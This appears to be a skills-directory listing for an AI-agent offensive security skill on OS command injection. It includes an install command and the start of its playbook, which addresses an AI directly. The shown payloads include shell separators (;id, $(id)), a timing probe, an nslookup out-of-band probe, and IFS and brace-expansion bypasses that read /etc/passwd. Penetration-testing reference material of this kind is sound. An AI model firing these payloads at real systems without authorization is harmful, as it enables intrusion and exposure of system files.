Cmdi Command Injection

Loads comprehensive command injection attack patterns for when user input touches shell execution, whether it's ping utilities, file converters, or import pipelines. The playbook covers all major shell metacharacters, blind detection via timing and DNS exfiltration, filter bypasses using IFS and brace expansion, and vulnerable code patterns across PHP, Python, Node, and legacy ASP. You get context-specific payloads for quoted strings, command substitution, and OOB channels, plus a solid library of reverse shells for Linux and Windows. The real value is in the blind injection decision trees and the catalog of non-obvious entry points like email senders and archive processors where base models typically miss the execution chain.

skills.sh installs: 3.9K
GitHub stars: 2.6K
last updated: Aug 21, 2026

View on GitHub

Install

$ npx -y skills add yaklang/hack-skills --skill cmdi-command-injection --agent claude-code

Installs into .claude/skills of the current project.

Files

SKILL: OS Command Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.

0. RELATED ROUTING

Before going deep, you can first load:

upload insecure files when the shell sink is part of a broader upload, import, or conversion workflow

First-pass payload families

Context	Start With	Backup
generic shell separator	`;id`	`&&id`
quoted argument	`";id;"`	`';id;'`
blind timing	`;sleep 5`	`& timeout /T 5 /NOBREAK`
command substitution	`$(id)`	`id`
out-of-band DNS	`;nslookup token.collab`	Windows `nslookup` variant

cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid

1. SHELL METACHARACTERS (INJECTION OPERATORS)

These characters break out of the command context and inject new commands:

SKILL.md on GitHub

Details

Repository: github.com/yaklang/hack-skills
Category: CLI & Terminal
First seen: May 16, 2026